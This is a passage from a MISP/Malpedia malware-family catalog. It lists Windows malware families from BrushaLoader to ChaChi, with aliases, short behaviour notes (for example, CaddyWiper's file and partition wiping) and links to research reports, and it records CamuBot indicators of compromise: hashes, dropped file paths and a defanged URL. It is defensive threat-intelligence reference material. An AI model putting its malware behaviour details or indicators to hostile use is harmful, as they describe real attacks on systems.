Table 1820. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.broler
https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf

BrushaLoader

The tag is: *misp-galaxy:malpedia="BrushaLoader"*

BrushaLoader is also known as:

Table 1821. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.brushaloader
https://www.proofpoint.com/us/threat-insight/post/brushaloader-still-sweeping-victims-one-year-later
https://www.cert.pl/en/news/single/brushaloader-gaining-new-layers-like-a-pro/
https://blog.talosintelligence.com/2019/02/combing-through-brushaloader.html

Brute Ratel C4

The tag is: *misp-galaxy:malpedia="Brute Ratel C4"*

Brute Ratel C4 is also known as:

Table 1822. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.brute_ratel_c4
https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v

BrutPOS

The tag is: *misp-galaxy:malpedia="BrutPOS"*

BrutPOS is also known as:

Table 1823. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.brutpos
https://www.fireeye.com/blog/threat-research/2014/07/brutpos-rdp-bruteforcing-botnet-targeting-pos-systems.html

BS2005

The tag is: *misp-galaxy:malpedia="BS2005"*

BS2005 is also known as:

Table 1824. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bs2005
https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/

https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/
https://github.com/nccgroup/Royal_APT
https://www.secureworks.com/research/threat-profiles/bronze-palace

BTCWare

The tag is: *misp-galaxy:malpedia="BTCWare"*

BTCWare is also known as:

Table 1825. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.btcware
https://www.bleepingcomputer.com/news/security/new-nuclear-btcware-ransomware-released-updated/

BUBBLEWRAP

BUBBLEWRAP is a full-featured backdoor that is set to run when the system boots, and can communicate using HTTP, HTTPS, or a SOCKS proxy. This backdoor collects system information, including the operating system version and hostname, and includes functionality to check, upload, and register plugins that can further enhance its capabilities.

The tag is: *misp-galaxy:malpedia="BUBBLEWRAP"*

BUBBLEWRAP is also known as:

Table 1826. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bubblewrap
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html
https://attack.mitre.org/software/S0043/

Buer

Buer is a downloader sold on underground forums and used by threat actors to deliver payload malware onto target machines. It has been observed in email campaigns and has been sold as a service since August 2019.

The tag is: *misp-galaxy:malpedia="Buer"*

Buer is also known as:

- Buerloader
- RustyBuer

Table 1827. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.buer
https://www.fortinet.com/blog/threat-research/signed-sealed-and-delivered-signed-xll-file-delivers-buer-loader
https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/
https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://krabsonsecurity.com/2019/12/05/buer-loader-new-russian-loader-on-the-market-with-interesting-persistence/
https://www.proofpoint.com/us/blog/threat-insight/new-variant-buer-loader-written-rust
https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware
https://twitter.com/SophosLabs/status/1321844306970251265
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://tehtris.com/en/blog/buer-loader-analysis-a-rusted-malware-program
https://medium.com/walmartglobaltech/buerloader-updates-3e34c1949b96
https://blog.minerva-labs.com/stopping-buerloader
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html
https://twitter.com/StopMalvertisin/status/1182505434231398401
http://www.secureworks.com/research/threat-profiles/gold-symphony
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://www.proofpoint.com/us/threat-insight/post/buer-new-loader-emerges-underground-marketplace
http://www.secureworks.com/research/threat-profiles/gold-blackburn
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf
https://news.sophos.com/en-us/2020/10/28/hacks-for-sale-inside-the-buer-loader-malware-as-a-service/
https://www.trendmicro.com/en_us/research/21/k/a-review-and-analysis-of-2021-buer-loader-campaigns.html

https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf
https://blog.group-ib.com/prometheus-tds
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/k/a-review-and-analysis-of-2021-buer-loader-campaigns/TechnicalBrief-An-Analysis-of-Buer-Loader.pdf
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://www.area1security.com/blog/trickbot-spear-phishing-drops-bazar-buer-malware/
https://labs.vipre.com/buer-loader-found-in-an-unusual-email-attachment/
https://securelist.com/mokes-and-buerak-distributed-under-the-guise-of-security-certificates/96324/
https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

BUFFETLINE

The tag is: *misp-galaxy:malpedia="BUFFETLINE"*

BUFFETLINE is also known as:

Table 1828. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.buffetline
https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/
https://www.us-cert.gov/ncas/analysis-reports/ar20-045f

BUGHATCH

The tag is: *misp-galaxy:malpedia="BUGHATCH"*

BUGHATCH is also known as:

Table 1829. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bughatch
https://www.elastic.co/security-labs/bughatch-malware-analysis

Buhtrap

The tag is: *misp-galaxy:malpedia="Buhtrap"*

Buhtrap is also known as:

- Ratopak

Table 1830. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.buhtrap
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part3/
https://dcso.de/2019/03/14/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code/
https://www.group-ib.com/brochures/gib-buhtrap-report.pdf
https://www.welivesecurity.com/2019/07/11/buhtrap-zero-day-espionage-campaigns/
https://blog.dcso.de/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code/
https://www.scythe.io/library/threatthursday-buhtrap
https://dcso.de/2019/03/14/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code
https://malware-research.org/carbanak-source-code-leaked/
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=8e498912-44f8-4ea0-ac50-4544f0fedd6c&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://www.symantec.com/connect/blogs/russian-bank-employees-received-fake-job-offers-targeted-email-attack
https://www.welivesecurity.com/2015/04/09/operation-buhtrap/
https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/

BumbleBee

This malware is delivered by an ISO file, with an DLL inside with a custom loader. Because of the unique user-agent "bumblebee" this malware was dubbed BUMBLEBEE. At the time of Analysis by Google’s Threat Analysis Group (TAG) BumbleBee was observed to fetch Cobalt Strike Payloads.

The tag is: *misp-galaxy:malpedia="BumbleBee"*

BumbleBee is also known as:

Table 1831. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.bumblebee
https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti
https://www.bleepingcomputer.com/news/security/new-bumblebee-malware-replaces-contis-bazarloader-in-cyberattacks/
https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine
https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/
https://isc.sans.edu/diary/rss/28636
https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/
https://blog.sekoia.io/bumblebee-a-new-trendy-loader-for-initial-access-brokers/
https://www.cynet.com/orion-threat-alert-flight-of-the-bumblebee/
https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control
https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns
https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks
https://team-cymru.com/blog/2022/05/25/bablosoft-lowering-the-barrier-of-entry-for-malicious-actors/
https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike
https://research.openanalysis.net/bumblebee/malware/loader/unpacking/2022/05/12/bumblebee_loader.html
https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest
https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/
https://mp.weixin.qq.com/s/cGS8FocPnUdBconLbbaG-g
https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/
https://isc.sans.edu/diary/rss/28664
https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise
https://www.infinitumit.com.tr/bumblebee-loader-malware-analysis/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime
https://www.deepinstinct.com/blog/the-dark-side-of-bumblebee-malware-loader
https://blog.cyble.com/2022/09/07/bumblebee-returns-with-new-infection-technique/
https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056
https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming
https://isc.sans.edu/diary/28636

https://blog.cyble.com/2022/06/07/bumblebee-loader-on-the-rise/

Bundestrojaner

The tag is: *misp-galaxy:malpedia="Bundestrojaner"*

Bundestrojaner is also known as:

- 0zapftis
- R2D2

Table 1832. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bundestrojaner
http://www.ccc.de/system/uploads/76/original/staatstrojaner-report23.pdf
https://www.f-secure.com/weblog/archives/00002249.html

Bunitu

Bunitu is a trojan that exposes infected computers to be used as a proxy for remote clients. It registers itself at startup by providing its address and open ports. Access to Bunitu proxies is available by using criminal VPN services (e.g.VIP72).

The tag is: *misp-galaxy:malpedia="Bunitu"*

Bunitu is also known as:

Table 1833. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bunitu
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://zerophagemalware.com/2017/06/07/rig-ek-via-fake-eve-online-website-drops-bunitu/
https://broadanalysis.com/2019/04/12/rig-exploit-kit-delivers-bunitu-malware/
https://malwarebreakdown.com/2018/03/21/fobos-malvertising-campaign-delivers-bunitu-proxy-trojan-via-rig-ek/
http://malware-traffic-analysis.net/2017/05/09/index.html
https://blog.malwarebytes.com/threat-analysis/2015/08/whos-behind-your-proxy-uncovering-bunitus-secrets/
https://blog.malwarebytes.com/threat-analysis/2015/07/revisiting-the-bunitu-trojan/

Buterat

The tag is: *misp-galaxy:malpedia="Buterat"*

Buterat is also known as:

- spyvoltar

Table 1834. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.buterat
http://antivirnews.blogspot.com/2011/01/backdoorwin32-buteratafj.html

Buzus

The tag is: *misp-galaxy:malpedia="Buzus"*

Buzus is also known as:

- Yimfoca

Table 1835. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.buzus
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Worm:Win32/Yimfoca.A

BYEBY

The tag is: *misp-galaxy:malpedia="BYEBY"*

BYEBY is also known as:

Table 1836. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.byeby
https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/
https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan
https://www.ptsecurity.com/ww-en/analytics/calypso-apt-2019/
https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia/

https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia
https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia/
https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan

c0d0so0

The tag is: *misp-galaxy:malpedia="c0d0so0"*

c0d0so0 is also known as:

Table 1837. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.c0d0so0

CabArt

The tag is: *misp-galaxy:malpedia="CabArt"*

CabArt is also known as:

Table 1838. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cabart

CaddyWiper

CaddyWiper is another destructive malware believed to be deployed to target Ukraine.

CaddyWiper wipes all files under C:\Users and all also all files under available drives from D: to Z: by overwriting the data with NULL value. If the target file is greater than 0xA00000 bytes in size (10MB), it will only wipe the first 0xA00000 bytes.

It also wipes disk partitions from \\.\PHYSICALDRIVE9 to \\.\PHYSICALDRIVE0 by overwriting the first 0x780 bytes with NULL.

The tag is: *misp-galaxy:malpedia="CaddyWiper"*

CaddyWiper is also known as:

- KillDisk.NCX

Table 1839. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.caddywiper
https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya
https://n0p.me/2022/03/2022-03-26-caddywiper/
https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-caddywiper
https://blog.talosintelligence.com/2022/03/threat-advisory-caddywiper.html
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd
https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat
https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/
https://www.nioguard.com/2022/03/analysis-of-caddywiper.html
https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works
https://cybernews.com/cyber-war/new-destructive-wiper-malware-deployed-in-ukraine/
https://www.bleepingcomputer.com/news/security/new-caddywiper-data-wiping-malware-hits-ukrainian-networks/
https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-handle-stack-strings/
https://twitter.com/ESETresearch/status/1503436420886712321
https://www.truesec.com/hub/blog/analysis-of-caddywiper-wiper-targeting-ukraine
https://cert.gov.ua/article/39518
https://www.welivesecurity.com/2022/03/15/caddywiper-new-wiper-malware-discovered-ukraine/
https://blog.eset.ie/2022/04/12/industroyer2-industroyer-reloaded/
https://blog.malwarebytes.com/threat-intelligence/2022/03/double-header-isaacwiper-and-caddywiper/
https://securityintelligence.com/posts/caddywiper-malware-targeting-ukrainian-organizations/
https://twitter.com/silascutler/status/1513870210398363651
https://securityaffairs.co/wordpress/129069/cyber-warfare-2/caddywiper-wiper-hits-ukraine.html
https://www.splunk.com/en_us/blog/security/threat-update-caddywiper.html
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war
https://cybersecuritynews.com/destructive-data-wiper-malware/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/
https://twitter.com/HackPatch/status/1503538555611607042

https://thehackernews.com/2022/03/caddywiper-yet-another-data-wiping.html
https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/
https://blog.morphisec.com/caddywiper-analysis-new-malware-attacking-ukraine

CadelSpy

The tag is: *misp-galaxy:malpedia="CadelSpy"*

CadelSpy is also known as:

- Cadelle

Table 1840. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cadelspy
https://web.archive.org/web/20191221064439/https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets
http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf

CALMTHORN

The tag is: *misp-galaxy:malpedia="CALMTHORN"*

CALMTHORN is also known as:

Table 1841. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.calmthorn
https://www.youtube.com/watch?v=3cUWjojQXWE
https://twitter.com/8th_grey_owl/status/1357550261963689985
https://www.datanet.co.kr/news/articleView.html?idxno=133346

Cameleon

PWC describes this malware as a backdoor, capable of file management, upload and download of files, and execution of commands.

The tag is: *misp-galaxy:malpedia="Cameleon"*

Cameleon is also known as:

- StormKitty

Table 1842. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/threat-actor-of-in-turest.html

campoloader

The tag is: *misp-galaxy:malpedia="campoloader"*

campoloader is also known as:

Table 1843. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.campoloader
https://orangecyberdefense.com/global/blog/cybersoc/in-the-eye-of-our-cybersoc-campo-loader-analysis-and-detection-perspectives/
https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/
https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/
https://unit42.paloaltonetworks.com/bazarloader-malware/
https://blog.group-ib.com/prometheus-tds

CamuBot

There is no lot of IOCs in this article so we take one sample and try to extract some interesting IOCs, our findings below :

CamuBot sample : 37ca2e37e1dc26d6b66ba041ed653dc8ee43e1db71a705df4546449dd7591479

Dropped Files on disk :

C:\Users\user~1\AppData\Local\Temp\protecao.exe : 0af612461174eedec813ce670ba35e74a9433361eacb3ceab6d79232a6fe13c1

C:\Users\user~1\AppData\Local\Temp\Renci.SshNet.dll : 3E3CD9E8D94FC45F811720F5E911B892A17EE00F971E498EAA8B5CAE44A6A8D8

C:\ProgramData\m.msi : AD90D4ADFED0BDCB2E56871B13CC7E857F64C906E2CF3283D30D6CFD24CD2190

Protecao.exe try to download hxxp://www.usb-over-network.com/usb-over-network-64bit.msi

A new driver is installed : C:\Windows\system32\drivers\ftusbload2.sys : 9255E8B64FB278BC5FFE5B8F70D68AF8 ftusbload2.sys set 28 IRP handlers.

The tag is: *misp-galaxy:malpedia="CamuBot"*

CamuBot is also known as:

Table 1844. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.camubot
https://securityintelligence.com/camubot-new-financial-malware-targets-brazilian-banking-customers/

Cannibal Rat

Cannibal Rat is a python written remote access trojan with 4 versions as of March 2018. The RAT is reported to impact users of a Brazilian public sector management school. The RAT is distributed in a py2exe format, with the python27.dll and the python bytecode stored as a PE resource and the additional libraries zipped in the overlay of the executable.

The tag is: *misp-galaxy:malpedia="Cannibal Rat"*

Cannibal Rat is also known as:

Table 1845. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cannibal_rat
http://blog.talosintelligence.com/2018/02/cannibalrat-targets-brazil.html

Cannon

The tag is: *misp-galaxy:malpedia="Cannon"*

Cannon is also known as:

Table 1846. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cannon
https://unit42.paloaltonetworks.com/atoms/fighting-ursa/
https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
https://www.vkremez.com/2018/11/lets-learn-in-depth-on-sofacy-canon.html

Carbanak

The tag is: *misp-galaxy:malpedia="Carbanak"*

Carbanak is also known as:

- Anunak
- Sekur RAT

Table 1847. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.carbanak
https://app.box.com/s/p7qzcury97tuwk26694uutujwqmwqyhe
https://www.secureworks.com/research/threat-profiles/gold-niagara
https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-three-behind-the-backdoor.html
https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/
https://threatintel.blog/OPBlueRaven-Part2/
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/
https://therecord.media/two-carbanak-hackers-sentenced-to-eight-years-in-prison-in-kazakhstan/
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout
https://www.mandiant.com/resources/evolution-of-fin7
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf
https://unit42.paloaltonetworks.com/atoms/mulelibra/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-one-a-rare-occurrence.html
https://threatintel.blog/OPBlueRaven-Part1/
https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html
https://www.brighttalk.com/webcast/15591/382191/fin7-apt-how-billion-dollar-crime-ring-remains-active-after-leaders-arrest
https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-four-desktop-video-player.html
https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-two-continuing-source-code-analysis.html

Carberp

The tag is: *misp-galaxy:malpedia="Carberp"*

Carberp is also known as:

Table 1848. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.carberp
https://cdn1.esetstatic.com/eset/US/resources/docs/white-papers/white-papers-win-32-carberp.pdf
https://web.archive.org/web/20150713145858/http://www.rsaconference.com/writable/presentations/file_upload/ht-t06-dissecting-banking-trojan-carberp_copy1.pdf
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://blog.avast.com/2013/04/08/carberp_epitaph/

Cardinal RAT

Cardinal RAT is a remote access Trojan capable of stealing username and credentials, cleaning out cookies from browsers, keylogging and capturing screenshots on targeted systems. It is delivered via a downloader dubbed “Carp” which uses malicious macros in Microsoft Excel documents to compile embedded source code into an executable, which then deploys the Cardinal RAT malware family.

The tag is: *misp-galaxy:malpedia="Cardinal RAT"*

Cardinal RAT is also known as:

Table 1849. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cardinal_rat
http://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/?adbsc=social71702736&adbid=855028404965433346&adbpl=tw&adbpr=4487645412
https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/
https://www.clearskysec.com/wp-content/uploads/2019/08/ClearSky-2019-H1-Cyber-Events-Summary-Report.pdf
https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection

CARROTBALL

CARROTBALL is a simple FTP downloader built to deploy SYSCON, a Remote Access Trojan used by the same threat actor. Discovered by Unit 42 in late 2019, the downloader was adopted for use in spear phishing attacks against US government agencies.

The tag is: *misp-galaxy:malpedia="CARROTBALL"*

CARROTBALL is also known as:

Table 1850. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.carrotball
https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/

CarrotBat

The tag is: *misp-galaxy:malpedia="CarrotBat"*

CarrotBat is also known as:

Table 1851. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.carrotbat
https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/
https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/

Casper

ESET describes Casper as a well-developed reconnaissance tool, making extensive efforts to remain unseen on targeted machines. Of particular note are the specific strategies adopted against anti-malware software. Casper was used against Syrian targets in April 2014, which makes it the most recent malware from this group publicly known at this time.

The tag is: *misp-galaxy:malpedia="Casper"*

Casper is also known as:

Table 1852. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.casper
https://www.welivesecurity.com/2015/03/05/casper-malware-babar-bunny-another-espionage-cartoon/

Catchamas

The tag is: *misp-galaxy:malpedia="Catchamas"*

Catchamas is also known as:

Table 1853. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.catchamas
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets

CCleaner Backdoor

The tag is: *misp-galaxy:malpedia="CCleaner Backdoor"*

CCleaner Backdoor is also known as:

- DIRTCLEANER

Table 1854. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ccleaner_backdoor
https://www.mandiant.com/resources/pe-file-infecting-malware-ot
http://blog.morphisec.com/morphisec-discovers-ccleaner-backdoor
https://securelist.com/big-threats-using-code-similarity-part-1/97239/
https://risky.biz/whatiswinnti/
https://stmxcsr.com/persistence/print-processor.html
https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf
https://www.wired.com/story/ccleaner-malware-targeted-tech-firms
http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html
https://blog.avast.com/progress-on-ccleaner-investigation
https://www.crowdstrike.com/blog/in-depth-analysis-of-the-ccleaner-backdoor-stage-2-dropper-and-its-payload/
https://blog.avast.com/additional-information-regarding-the-recent-ccleaner-apt-security-incident
https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities
https://www.crowdstrike.com/blog/protecting-software-supply-chain-deep-insights-ccleaner-backdoor/
https://twitter.com/craiu/status/910148928796061696
https://www.ptsecurity.com/upload/corporate/ru-ru/pt-esc/winnti-2020-rus.pdf

https://www.secureworks.com/research/threat-profiles/bronze-atlas
http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/
http://www.intezer.com/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/
https://blog.avast.com/update-ccleaner-attackers-entered-via-teamviewer
https://blog.avast.com/avast-threat-labs-analysis-of-ccleaner-incident
http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html

CenterPOS

The tag is: *misp-galaxy:malpedia="CenterPOS"*

CenterPOS is also known as:

- cerebrus

Table 1855. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.centerpos
https://www.fireeye.com/blog/threat-research/2016/01/centerpos_an_evolvi.html

Cerber

A prolific ransomware which originally added ".cerber" as a file extension to encrypted files. Has undergone multiple iterations in which the extension has changed. Uses a very readily identifiable set of of UDP activity to checkin and report infections. Primarily uses TOR for payment information.

The tag is: *misp-galaxy:malpedia="Cerber"*

Cerber is also known as:

Table 1856. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cerber
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://blog.malwarebytes.com/threat-analysis/2016/03/cerber-ransomware-new-but-mature/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://i.blackhat.com/asia-21/Thursday-Handouts/as21-Taniguchi-How-Did-The-Adversaries-Abusing-The-Bitcoin-Blockchain-Evade-Our-Takeover.pdf

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks
https://news.sophos.com/en-us/2022/06/16/confluence-exploits-used-to-drop-ransomware-on-vulnerable-servers/
https://rinseandrepeatanalysis.blogspot.com/2018/08/reversing-cerber-raas.html
https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus
https://us-cert.cisa.gov/ncas/alerts/aa20-345a
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://www.virusbulletin.com/virusbulletin/2017/12/vb2017-paper-nine-circles-cerber/
https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf
http://blog.trendmicro.com/trendlabs-security-intelligence/cerber-starts-evading-machine-learning/
https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/
https://www.youtube.com/watch?v=y8Z9KnL8s8s

Cerbu

This malware family delivers its artifacts packed with free and generic packers. It writes files to windows temporary folders, downloads additional malware (generally cryptominers) and deletes itself.

The tag is: *misp-galaxy:malpedia="Cerbu"*

Cerbu is also known as:

Table 1857. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cerbu_miner

CetaRAT

The tag is: *misp-galaxy:malpedia="CetaRAT"*

CetaRAT is also known as:

Table 1858. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ceta_rat
https://blogs.quickheal.com/cetarat-apt-group-targeting-the-government-agencies/

https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388

ChaChi

The tag is: *misp-galaxy:malpedia="ChaChi"*

ChaChi is also known as:

Table 1859. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chachi
https://blogs.blackberry.com/en/2021/06/pysa-loves-chachi-a-new-golang-rat

Chaes

